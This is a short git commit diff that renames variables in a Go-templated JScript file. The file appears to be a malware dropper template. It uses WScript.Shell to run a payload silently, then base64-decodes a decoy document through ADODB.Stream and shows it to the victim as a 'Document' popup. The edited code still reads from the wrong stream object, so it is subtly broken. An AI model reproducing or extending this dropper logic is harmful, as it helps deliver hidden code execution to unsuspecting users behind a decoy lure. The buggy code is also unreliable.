refractored JScript template slightly
parent
b3b35f6011
commit
05a79976af
|
@ -9,13 +9,13 @@ var shell = new ActiveXObject("WScript.Shell");
|
||||||
shell.Run(bytes, 0, false);
|
shell.Run(bytes, 0, false);
|
||||||
|
|
||||||
{{if len .EncodedDecoy}}
|
{{if len .EncodedDecoy}}
|
||||||
var stream2 = new ActiveXObject("ADODB.Stream");
|
var s2 = new ActiveXObject("ADODB.Stream");
|
||||||
stream.Type = 1;
|
s2.Type = 1;
|
||||||
|
|
||||||
stream.Write(window.atob({{.EncodedDecoy}}));
|
s2.Write(window.atob({{.EncodedDecoy}}));
|
||||||
|
|
||||||
var bytes = stream.Read();
|
var b2 = stream.Read();
|
||||||
shell.Popup(bytes, 0, "Document", 0x40);
|
shell.Popup(b2, 0, "Document", 0x40);
|
||||||
|
|
||||||
{{end}}
|
{{end}}
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue